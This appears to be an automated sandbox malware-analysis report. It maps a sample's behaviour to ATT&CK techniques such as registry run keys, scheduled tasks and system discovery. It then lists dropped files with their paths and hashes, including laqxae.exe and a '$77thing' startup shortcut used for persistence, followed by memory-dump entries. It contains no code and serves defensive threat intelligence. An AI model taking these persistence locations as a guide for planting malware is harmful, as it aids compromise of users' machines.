Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

$77thing

Path C:\ProgramData\$77thing
Size 39KB
SHA256 dced7baf3dbe54b82383a0228be70e2db29f2550e4a6a21db3ac678c50bae7b7
MD5 92b8438019f73a921929a05d3dd36af3
SHA1 1dad9e8a7c19d02fb9ac7677403410bc64c63518
SHA512 f36eede215b58588b9f416ee3b4755a479ef8ccaea0776e89b87c5ed5df09778830fa729494ad442076a8e526db940488010c758ec62cf5c49972da7e02ca0fa
SSDEEP 768:Yybn+v8csoYSQ5lLJKuuwhSZPypufFWPa9bZ6POwhhaubIK:fn+EcsodQVJKuuwhSMEFv9bZ6POwTTj
MD5 SHA1 SHA512 SSDEEP

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233
MD5 2e907f77659a6601fcc408274894da2e
SHA1 9f5b72abef1cd7145bf37547cdb1b9254b4efe9d
SHA512 34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 c4d16552769ca1762f6867bce85589c645ac3dc490b650083d74f853f898cfab
MD5 5cfe303e798d1cc6c1dab341e7265c15
SHA1 cd2834e05191a24e28a100f3f8114d5a7708dc7c
SHA512 ef151bbe0033a2caf2d40aff74855a3f42c8171e05a11c8ce93c7039d9430482c43fe93d9164ee94839aff253cad774dbf619dde9a8af38773ca66d59ac3400e
MD5 SHA1 SHA512

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__PSScriptPolicyTest_lqq3gvmh.nwl.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lqq3gvmh.nwl.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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laqxae.exe

Path C:\Users\Admin\AppData\Local\Temp\laqxae.exe
Size 162KB
SHA256 a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
MD5 152e3f07bbaf88fb8b097ba05a60df6e
SHA1 c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA512 2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4
SSDEEP 3072:KQpsO4jaqeCDcvpeCkZNQgAxjJ2hfOiFIYHwHzaQ09V098F/fUO5tTl:KQpsO4jajCIvpe/ZNQZuhfLguQ00KHTl
MD5 SHA1 SHA512 SSDEEP

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$77thing.lnk

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77thing.lnk
Size 653B
SHA256 2c3809698102ccaf8f8b5c3b34c0be8ccf4a44c9933ac4edc1e88a0ab7e6e037
MD5 f4106153a3d75752d99b0930b57316b7
SHA1 5937c088c1f3a3b8311c0553a430cb584cf66ac1
SHA512 930d250808dd913622cf5f07eacffec40f01e6e947c7501be344868d5261069e4fe99c63866178fbde68091b6f2d4a4486d4f132c51575f85373fb4055265c01
MD5 SHA1 SHA512

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memory/384-167-0x00000243BAD10000-0x00000243BAD3B000-memory.dmp

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memory/616-138-0x00007FF86FBEF000-0x00007FF86FBF0000-memory.dmp

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memory/616-127-0x0000020273210000-0x000002027323B000-memory.dmp

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memory/616-137-0x00007FF86FBED000-0x00007FF86FBEE000-memory.dmp

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memory/616-128-0x0000020273210000-0x000002027323B000-memory.dmp

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memory/616-126-0x00000202731E0000-0x0000020273205000-memory.dmp

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memory/616-136-0x0000020273210000-0x000002027323B000-memory.dmp

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memory/672-151-0x00007FF86FBED000-0x00007FF86FBEE000-memory.dmp

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memory/672-149-0x0000020868200000-0x000002086822B000-memory.dmp

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memory/672-141-0x0000020868200000-0x000002086822B000-memory.dmp

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memory/672-154-0x00007FF86FBEF000-0x00007FF86FBF0000-memory.dmp

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memory/672-150-0x00007FF82FBD0000-0x00007FF82FBE0000-memory.dmp

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memory/956-168-0x00007FF82FBD0000-0x00007FF82FBE0000-memory.dmp

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memory/956-156-0x000001CD636D0000-0x000001CD636FB000-memory.dmp

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memory/956-170-0x00007FF86FBEC000-0x00007FF86FBED000-memory.dmp

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memory/956-166-0x000001CD636D0000-0x000001CD636FB000-memory.dmp

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memory/1112-12-0x00007FF851B30000-0x00007FF8525F1000-memory.dmp

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memory/1112-17-0x00007FF851B30000-0x00007FF8525F1000-memory.dmp

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memory/1112-14-0x0000020C73790000-0x0000020C737A0000-memory.dmp

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memory/1112-7-0x0000020C73190000-0x0000020C731B2000-memory.dmp

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memory/1112-13-0x0000020C73790000-0x0000020C737A0000-memory.dmp

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memory/1208-64-0x00007FF851B30000-0x00007FF8525F1000-memory.dmp

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memory/1208-49-0x00007FF851B30000-0x00007FF8525F1000-memory.dmp

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memory/1208-62-0x00000229E8FE0000-0x00000229E8FF0000-memory.dmp

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memory/1208-51-0x00000229E8FE0000-0x00000229E8FF0000-memory.dmp

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memory/1208-50-0x00000229E8FE0000-0x00000229E8FF0000-memory.dmp

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memory/1340-219-0x00000000012F0000-0x00000000012FC000-memory.dmp

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memory/1340-68-0x00007FF851B30000-0x00007FF8525F1000-memory.dmp

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memory/1340-0-0x0000000000BC0000-0x0000000000BD0000-memory.dmp

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memory/1340-1-0x00007FF851B30000-0x00007FF8525F1000-memory.dmp

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memory/1424-33-0x00007FF851B30000-0x00007FF8525F1000-memory.dmp

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memory/1424-20-0x0000028992F40000-0x0000028992F50000-memory.dmp

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memory/1424-21-0x0000028992F40000-0x0000028992F50000-memory.dmp

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memory/1424-19-0x00007FF851B30000-0x00007FF8525F1000-memory.dmp

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memory/1760-111-0x0000000140000000-0x0000000140008000-memory.dmp

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memory/1760-120-0x00007FF86FB50000-0x00007FF86FD45000-memory.dmp

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memory/1760-123-0x0000000140000000-0x0000000140008000-memory.dmp

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memory/1760-122-0x00007FF86EF20000-0x00007FF86EFDE000-memory.dmp

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memory/1760-117-0x0000000140000000-0x0000000140008000-memory.dmp

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memory/1760-115-0x0000000140000000-0x0000000140008000-memory.dmp

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memory/1760-113-0x0000000140000000-0x0000000140008000-memory.dmp

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memory/1760-112-0x0000000140000000-0x0000000140008000-memory.dmp

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memory/3716-98-0x000001ACCA9B0000-0x000001ACCA9C0000-memory.dmp

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memory/3716-110-0x00007FF86EF20000-0x00007FF86EFDE000-memory.dmp

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memory/3716-107-0x000001ACCA9B0000-0x000001ACCA9C0000-memory.dmp

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memory/3716-121-0x00007FF851B30000-0x00007FF8525F1000-memory.dmp

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memory/3716-109-0x00007FF86FB50000-0x00007FF86FD45000-memory.dmp

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memory/3716-108-0x000001ACE3D60000-0x000001ACE3D8A000-memory.dmp

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memory/3716-97-0x00007FF851B30000-0x00007FF8525F1000-memory.dmp

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memory/4336-84-0x000001C6B3470000-0x000001C6B3471000-memory.dmp

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memory/4336-79-0x000001C6B3470000-0x000001C6B3471000-memory.dmp

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memory/4336-82-0x000001C6B3470000-0x000001C6B3471000-memory.dmp

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memory/4336-83-0x000001C6B3470000-0x000001C6B3471000-memory.dmp

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memory/4336-81-0x000001C6B3470000-0x000001C6B3471000-memory.dmp

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memory/4336-80-0x000001C6B3470000-0x000001C6B3471000-memory.dmp

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memory/4336-78-0x000001C6B3470000-0x000001C6B3471000-memory.dmp

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memory/4336-72-0x000001C6B3470000-0x000001C6B3471000-memory.dmp

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memory/4336-74-0x000001C6B3470000-0x000001C6B3471000-memory.dmp

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memory/4336-73-0x000001C6B3470000-0x000001C6B3471000-memory.dmp

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memory/4960-86-0x00007FF851B30000-0x00007FF8525F1000-memory.dmp

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memory/4960-71-0x00007FF851B30000-0x00007FF8525F1000-memory.dmp

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memory/5076-48-0x00007FF851B30000-0x00007FF8525F1000-memory.dmp

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memory/5076-46-0x000001EE4DD40000-0x000001EE4DD50000-memory.dmp

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memory/5076-39-0x00007FF851B30000-0x00007FF8525F1000-memory.dmp

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memory/5076-44-0x000001EE4DD40000-0x000001EE4DD50000-memory.dmp

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